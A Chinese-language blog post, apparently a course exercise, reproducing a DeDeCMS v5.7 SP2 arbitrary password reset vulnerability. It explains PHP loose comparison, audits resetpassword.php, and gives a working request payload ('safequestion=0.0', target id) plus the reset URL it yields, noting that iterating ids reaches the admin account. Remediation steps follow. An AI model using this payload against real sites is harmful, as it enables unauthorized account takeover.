DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改

Aimerl0
• 阅读 1267

写在前面

学了这么久了回过头来一看,这居然是我自己复现的第一个漏洞,哪怕是之前打 hvv 的时候都是百度到了就用,没有进行深入的研究,刚好这回网络渗透测试课安排了复现漏洞的任务,所以水一篇博客记录一下,以后有时间了也得搭环境复现一下其他的洞

漏洞简介

  • 在用户密码重置功能处,php 代码存在==弱类型比较==,如果用户没有设置密保问题,可以直接绕过验证密保问题,直接修改密码==(管理员账户默认不设置密保问题)==。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理

  • 一个水平越权漏洞

  • php 弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php 会将其中一个数据进行强制转换为另一个,比如’123a’就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了。常见比较如下

    '' == 0 == false '123' == 123       //'123'强制转换为123 
     'abc' == 0     //intval('abc')==0 
     '123a' == 123      //intval('123a')==123 
     '0x01' == 1       //被识别为十六进制
     '0e123456789' == '0e987654321'  //被识别为科学计数法 
     [false] == [0] == [NULL] == [''] 
     NULL == false == 0 
     true == 1

DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改

代码审计

DeDeCMS 的 /member/resetpassword.php 用来处理用户密码重置的问题,漏洞点在 75 行开始处理验证密保问题处

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }
}

代码先从数据库中提取相关用户的密保问题和密保答案,对用户的输入做了处理以后进行匹配

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)就是漏洞点,这里用了弱类型比较


如果没有设置密保,safequestion从数据库中取出默认为 `0`,safeanswer默认为空,根据 empty函数特性,`0`会被判定为空,会重新将$safequestion赋值为'',因为 '' != `0`,想要绕过empty函数就要输入一个不使其判定为空,且弱类型等于 `0`的字符串, '00'、'000'、'0.0' 这些都可以

因为safeanswer本来就是空,所以不输入密保问题答案然后被判定为空也没关系


接着追踪sn函数

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}

追踪newmail函数

function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }
    elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            ShowMsg('对不起修改失败,请与管理员联系', 'login.php');
        }
    }
}

sn函数中将 send 参数设置了 ’N’ ,其实就是生成了暂时密码并插入了数据库中,并进行跳转

else if ($send == 'N')
{
    return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}

复现

  • 环境是phpstudy php版本:5.69 mysql版本:5.7.26
  • 需要开启会员模块
  • 需要两个会员账号,不设置安全问题

安装完成

DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改

填写信息并抓包,修改 id 为想要重置密码的对象,再加上以上分析内容,发包即可得到修改密码 url

payload:

dopost=safequestion&safequestion=0.0&safeanswer=&id=1&vdcode=gwgp

url:

http://dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=x52xXQ8H

DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改

id 为数据库中的键值,可以遍历来修改指定用户,默认 id=1 是管理员

访问返回包里的 url ,攻击成功

DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改

解决方案

  1. 修改 /member/resetpassword.php 里面漏洞位置的判断条件为===强等于
  2. 关闭会员注册模块,安装官方补丁或者升级CMS
  3. 开发祭天
  4. 采用 session方案,即使有弱类型比较、没设置安全问题,也不可能出现越权问题
点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Karen110 Karen110
3年前
​一篇文章总结一下Python库中关于时间的常见操作
前言本次来总结一下关于Python时间的相关操作,有一个有趣的问题。如果你的业务用不到时间相关的操作,你的业务基本上会一直用不到。但是如果你的业务一旦用到了时间操作,你就会发现,淦,到处都是时间操作。。。所以思来想去,还是总结一下吧,本次会采用类型注解方式。time包importtime时间戳从1970年1月1日00:00:00标准时区诞生到现在
Wesley13 Wesley13
3年前
4cast
4castpackageloadcsv.KumarAwanish发布:2020122117:43:04.501348作者:KumarAwanish作者邮箱:awanish00@gmail.com首页:
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Stella981 Stella981
3年前
Redis未授权访问漏洞复现学习
0x00前言前段时间看到想复现学习一下,然后就忘了越临近考试越不想复习!在这里插入图片描述(https://oscimg.oschina.net/oscnet/ec73a943a3d9e18184946ee4c4ca290e14f.jpg)常见的未授权访问漏洞Redis未授权访问漏洞MongoDB未授权访问漏
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Java服务总在半夜挂,背后的真相竟然是... | 京东云技术团队
最近有用户反馈测试环境Java服务总在凌晨00:00左右挂掉,用户反馈Java服务没有定时任务,也没有流量突增的情况,Jvm配置也合理,莫名其妙就挂了
Python进阶者 Python进阶者
10个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这